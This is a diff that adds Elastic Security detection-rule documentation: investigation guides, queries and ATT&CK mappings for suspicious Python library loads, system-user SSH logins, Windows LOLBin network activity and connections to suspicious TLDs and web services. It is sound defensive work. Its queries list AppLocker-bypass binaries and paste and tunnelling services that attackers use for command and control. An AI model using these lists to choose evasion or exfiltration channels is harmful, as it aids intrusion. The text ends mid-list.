T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-library-load-via-python.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-library-load-via-python.asciidoc new file mode 100644 index 0000000000..e18d1e685b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-library-load-via-python.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-unusual-library-load-via-python]] +=== Unusual Library Load via Python + +Detects when a Python process loads an unusual library from within the user's home directory where the file is not a standard .so or .dylib file. This technique has been observed in APT campaigns by the Lazarus Group and Slow Pisces to load malicious payloads. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/ +* https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Library Load via Python* + + +Python's dynamic library loading capabilities allow code to import and execute shared libraries at runtime. Sophisticated threat actors, including APT groups like Lazarus and Slow Pisces, abuse this functionality to load malicious payloads disguised as Python modules from user directories. This detection rule identifies when Python loads libraries from user home directories that don't follow standard naming conventions (.so or .dylib), indicating potential malicious module loading. + + +*Possible investigation steps* + + +- Examine the dll.path field to identify the full path of the library being loaded and determine if it is in an expected location for legitimate Python packages. +- Analyze the dll.name to assess whether the file extension matches known malicious patterns or unusual naming conventions not typical for Python modules. +- Calculate the hash of the loaded library file and search threat intelligence databases for known malicious indicators associated with Lazarus or Slow Pisces campaigns. +- Review the process.executable and process.command_line to understand which Python script or application initiated the library load. +- Examine the parent process hierarchy using process.parent.executable to trace back to the initial execution vector that launched the Python process. +- Check for other files in the same directory as the loaded library that may be additional malware components or supporting payloads. +- Review file creation timestamps to determine when the suspicious library was placed on the system and correlate with other security events. + + +*False positive analysis* + + +- Some Python applications dynamically extract or compile extension modules during runtime, particularly scientific computing packages. Verify if the application is known to exhibit this behavior. +- Development environments and IDEs may use unconventional library paths during testing and debugging. Confirm with development teams if such activities are expected. +- PyQt and similar UI frameworks may load additional framework files from user directories. These are partially excluded in the query but may require additional tuning. +- Pyenv and virtual environment setups may have libraries in non-standard locations. Review the paths against known virtual environment structures. + + +*Response and remediation* + + +- Immediately terminate the Python process if the loaded library is confirmed or suspected to be malicious. +- Quarantine the suspicious library file for forensic analysis and malware reverse engineering. +- Scan the system for additional indicators of compromise associated with the identified threat actor campaign. +- Review the Python script or application that loaded the library and assess whether it has been modified or replaced. +- Check for persistence mechanisms that may reload the malicious library on system restart or user login. +- Search for similar library loading patterns across other systems in the environment to identify potential lateral movement. +- Reset any credentials or tokens that may have been exposed through the compromised Python process. +- Escalate to the incident response team if APT-level compromise is suspected. + + +==== Rule query + + +[source, js] +---------------------------------- +library where host.os.type == "macos" and event.action == "load" and + dll.path like "/Users/*" and + process.name like "python*" and + not dll.name like ("*.so", "*.dylib", "Python", "*.*_extension", "*.dylib.*") and + not dll.path like ("*/site-packages/*/Qt*/lib/Qt*.framework/Versions/*/Qt*", + "/Users/*/.pyenv/versions/*/lib/python*/site-packages/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-login-via-system-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-login-via-system-user.asciidoc new file mode 100644 index 0000000000..221293458c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-login-via-system-user.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-unusual-login-via-system-user]] +=== Unusual Login via System User + +This rule identifies successful logins by system users that are uncommon to authenticate. These users have "nologin" set by default, and must be modified to allow SSH access. Adversaries may backdoor these users to gain unauthorized access to the system. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.exatrack.com/Perfctl-using-portainer-and-new-persistences/ +* https://x.com/RFGroenewoud/status/1875112050218922010 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: System +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Login via System User* + + +In Linux environments, system users typically have restricted login capabilities to prevent unauthorized access. These accounts, often set with `nologin`, are not meant for interactive sessions. Adversaries may exploit these accounts by altering their configurations to enable SSH access, thus bypassing standard security measures. The detection rule identifies successful logins by these uncommon system users, flagging potential unauthorized access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the login event details to identify the specific system user account involved in the successful login, focusing on the user.name field. +- Check the system logs for any recent changes to the user account's configuration, particularly modifications that might have enabled SSH access for accounts typically set with nologin. +- Investigate the source IP address associated with the login event to determine if it is known or suspicious, and assess whether it aligns with expected access patterns. +- Examine the timeline of events leading up to and following the login to identify any unusual activities or patterns that could indicate malicious behavior. +- Verify if there are any other successful login attempts from the same source IP or involving other system user accounts, which could suggest a broader compromise. +- Consult with system administrators to confirm whether any legitimate changes were made to the system user account's login capabilities and document any authorized modifications. + + +*False positive analysis* + + +- System maintenance tasks may require temporary login access for system users. Verify if the login corresponds with scheduled maintenance and consider excluding these events during known maintenance windows. +- Automated scripts or services might use system accounts for legitimate purposes. Identify these scripts and whitelist their associated activities to prevent false alerts. +- Some system users might be configured for specific applications that require login capabilities. Review application requirements and exclude these users if their access is deemed necessary and secure. +- In environments with custom configurations, certain system users might be intentionally modified for operational needs. Document these changes and adjust the detection rule to exclude these known modifications. +- Regularly review and update the list of system users in the detection rule to ensure it reflects the current environment and operational requirements, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any active sessions associated with the unusual system user accounts identified in the alert to disrupt ongoing unauthorized access. +- Review and revert any unauthorized changes to the system user accounts, such as modifications to the shell configuration that enabled login capabilities. +- Conduct a thorough audit of the system for any additional unauthorized changes or backdoors, focusing on SSH configurations and user account settings. +- Reset passwords and update authentication mechanisms for all system user accounts to prevent further exploitation. +- Implement additional monitoring and alerting for any future login attempts by system users, ensuring rapid detection and response to similar threats. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:("ssh_login" or "user_login") and +user.name:( + "deamon" or "bin" or "sys" or "games" or "man" or "lp" or "mail" or "news" or "uucp" or "proxy" or "www-data" or "backup" or + "list" or "irc" or "gnats" or "nobody" or "systemd-timesync" or "systemd-network" or "systemd-resolve" or "messagebus" or + "avahi" or "sshd" or "dnsmasq" +) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-activity-from-a-windows-system-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-activity-from-a-windows-system-binary.asciidoc new file mode 100644 index 0000000000..de8dd326ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-activity-from-a-windows-system-binary.asciidoc @@ -0,0 +1,249 @@ +[[prebuilt-rule-8-19-34-unusual-network-activity-from-a-windows-system-binary]] +=== Unusual Network Activity from a Windows System Binary + +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these applications are often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Network Activity from a Windows System Binary* + + +Attackers can abuse certain trusted developer utilities to proxy the execution of malicious payloads. Since these utilities are usually signed, they can bypass the security controls that were put in place to prevent or detect direct execution. + +This rule identifies network connections established by trusted developer utilities, which can indicate abuse to execute payloads or process masquerading. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- As trusted developer utilities have dual-use purposes, alerts derived from this rule are not essentially malicious. If these utilities are contacting internal or known trusted domains, review their security and consider creating exceptions if the domain is safe. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + + /* known applocker bypasses */ + (process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "control.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "installutil.exe" or + process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "MSBuild.exe" or + process.name : "msdt.exe" or + process.name : "mshta.exe" or + process.name : "wscript.exe" or + process.name : "msiexec.exe" or + process.name : "msxsl.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "regsvr32.exe" or + process.name : "xwizard.exe") and + + not (process.name : "mshta.exe" and + process.parent.executable : ("C:\\Program Files (x86)\\Bentley\\*.exe", + "C:\\Program Files\\Bentley\\*.exe", + "C:\\Program Files (x86)\\Amazon\\Amazon Assistant\\amazonAssistantService.exe", + "C:\\Users\\*\\AppData\\Local\\Temp\\TeamViewer\\TeamViewer.exe")) + ] + [network where dns.question.name != null and + not dns.question.name : ("localhost", "setup.officetimeline.com", "us.deployment.endpoint.ingress.rapid7.com", + "ctldl.windowsupdate.com", "crl?.digicert.com", "ocsp.digicert.com", "addon-cms-asl.eu.goskope.com", "crls.ssl.com", + "evcs-ocsp.ws.symantec.com", "s.symcd.com", "s?.symcb.com", "crl.verisign.com", "oneocsp.microsoft.com", "crl.verisign.com", + "aka.ms", "crl.comodoca.com", "acroipm2.adobe.com", "sv.symcd.com", "_ldap._tcp.*", "..localmachine", "secure.globalsign.com", + "acroipm2.adobe.com", "www.ssl.com", "ocsp.digicert.com", "ocsp.verisign.com", "ocsp.comodoca.com", "ocsp.entrust.net", "ocsp.usertrust.com", + "ocsp.godaddy.com", "ocsp.camerfirma.com", "ocsp.globalsign.com", "ocsp.sectigo.com", "*.local") and + + not (process.name : "mshta.exe" and + dns.question.name : ("client.teamviewer.com", "www.teamviewer.com", "images-na.ssl-images-amazon.com", "searcherbar.tilda.ws")) and + + /* host query itself */ + not startswith~(dns.question.name, host.name) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..24422b3def --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-top-level-domain.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-top-level-domain]] +=== Unusual Network Connection to Suspicious Top Level Domain + +This rule monitors for the unusual occurrence of outbound network connections to suspicious top level domains. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Suspicious TLD +* Rule Type: New Terms +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Connection to Suspicious Top Level Domain* + + +In macOS environments, network connections are essential for communication and data exchange. Adversaries exploit this by connecting to suspicious top-level domains (TLDs) for command and control activities. The detection rule identifies unusual outbound connections to these TLDs, signaling potential threats. By monitoring specific domains, it helps detect and mitigate malicious activities early. + + +*Possible investigation steps* + + +- Review the destination domain involved in the alert to determine if it is associated with known malicious activities or if it has been flagged in threat intelligence databases. +- Analyze the network traffic details related to the connection, including the source IP address and the volume of data transferred, to assess the nature and intent of the communication. +- Check the host system's recent activity logs for any unusual processes or applications that initiated the network connection, focusing on the event.type "start" to identify the triggering process. +- Investigate the user account associated with the host to determine if there have been any unauthorized access attempts or anomalies in user behavior. +- Correlate the alert with other security events or alerts from the same host or network segment to identify potential patterns or coordinated activities. +- Consult with threat intelligence sources or security forums to gather additional context on the specific top-level domain and its potential use in command and control operations. + + +*False positive analysis* + + +- Legitimate business domains may use TLDs like .online or .store for marketing purposes. Review the domain's reputation and business context before marking it as a threat. +- Personal or small business websites might use TLDs such as .fun or .life. Verify the domain ownership and usage to determine if it is a false positive. +- Some educational or community projects might use TLDs like .club or .space. Check the domain's content and purpose to assess its legitimacy. +- Exclude known safe domains by adding them to an allowlist in your monitoring tool to prevent repeated false positives. +- Regularly update the allowlist based on user feedback and network behavior analysis to ensure it remains accurate and effective. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further communication with the suspicious domain. +- Conduct a thorough review of the network logs to identify any additional devices that may have communicated with the same suspicious domains and isolate them if necessary. +- Use endpoint security tools to perform a full malware scan on the affected device to identify and remove any malicious software. +- Reset credentials and review access permissions for any accounts that were active on the affected device to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement network-level blocking of the identified suspicious domains to prevent future connections from any device within the network. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to enhance detection and blocking of similar threats in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "network" and host.os.type : "macos" and event.type : "start" and +destination.domain : (*.team or *.lol or *.kr or *.ke or *.nu or *.space or + *.capital or *.in or *.cfd or *.online or *.ru or + *.info or *.top or *.buzz or *.xyz or *.rest or + *.ml or *.cf or *.gq or *.ga or *.onion or + *.network or *.monster or *.marketing or *.cyou or + *.quest or *.cc or *.bar or *.click or *.cam or + *.surf or *.tk or *.shop or *.club or *.icu or + *.pw or *.ws or *.hair or *.mom or + *.beauty or *.boats or *.fun or *.life or + *.store) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-web-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-web-service.asciidoc new file mode 100644 index 0000000000..e18a30e8da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-web-service.asciidoc @@ -0,0 +1,249 @@ +[[prebuilt-rule-8-19-34-unusual-network-connection-to-suspicious-web-service]] +=== Unusual Network Connection to Suspicious Web Service + +This rule monitors for the unusual occurrence of outbound network connections to suspicious webservice domains. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Web Service Abuse +* Rule Type: New Terms +* Platform: macOS + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Connection to Suspicious Web Service* + + +In macOS environments, network connections to web services are routine for data sharing and collaboration. However, adversaries exploit these services for command and control by disguising malicious traffic as legitimate. The detection rule identifies unusual outbound connections to known suspicious domains, flagging potential misuse by monitoring specific domain patterns and connection events, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the destination domain and process executable from the alert to determine if it matches any expected web service communication. +- Check the event.category and event.type fields to confirm the nature of the network connection and ensure it aligns with the expected behavior of a macOS system. +- Investigate the source host identified by host.os.type to gather information about its recent activities, installed applications, and any potential indicators of compromise. +- Analyze network traffic logs for the source host to identify any other unusual or suspicious outbound connections that may indicate a broader compromise. +- Correlate the alert with other security events or alerts from the same host or network segment to identify patterns or related incidents. +- Consult threat intelligence sources to gather additional context on the flagged domain and assess its reputation and history of malicious activity. + + +*False positive analysis* + + +- Frequent access to legitimate cloud storage services like Google Drive or Dropbox for routine file sharing can trigger false positives. Users can create exceptions for specific domains or IP addresses known to be safe and frequently accessed by their organization. +- Automated backup services that use domains such as OneDrive or SharePoint may be flagged. To mitigate this, identify and whitelist the specific services or applications that are part of regular backup operations. +- Collaboration tools like Slack or Discord, used for legitimate communication, might be mistakenly flagged. Users should review and whitelist these domains if they are part of standard business operations. +- URL shorteners like bit.ly or tinyurl.com used in marketing or communication campaigns can cause false alerts. Establish a list of trusted shortener services and exclude them from monitoring if they are regularly used by the organization. +- Development and testing environments using services like ngrok or localtunnel for temporary public URLs can be misidentified. Ensure these environments are documented and excluded from the rule if they are part of normal development workflows. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further communication with the suspicious domains. +- Conduct a thorough review of the network logs to identify any data exfiltration attempts or additional suspicious connections originating from the isolated device. +- Remove any unauthorized or suspicious applications or scripts found on the device that may be facilitating the outbound connections. +- Update the device's security software and perform a full system scan to detect and remove any malware or unauthorized software. +- Reset credentials and review access permissions for the affected user accounts to prevent unauthorized access. +- Monitor the network for any further attempts to connect to the flagged domains and ensure that alerts are configured to notify security teams of any recurrence. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if the threat is part of a larger attack campaign. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "network" and host.os.type : "macos" and event.type : "start" and +destination.domain : ( + pastebin.* or + paste.ee or + ghostbin.com or + drive.google.com or + ?.docs.live.net or + api.dropboxapi.* or + content.dropboxapi.* or + *dl.dropboxusercontent.* or + api.onedrive.com or + *.onedrive.org or + onedrive.live.com or + filebin.net or + *.ngrok.io or + ngrok.com or + *.portmap.* or + *serveo.net or + *localtunnel.me or + *pagekite.me or + *localxpose.io or + *notabug.org or + rawcdn.githack.* or + 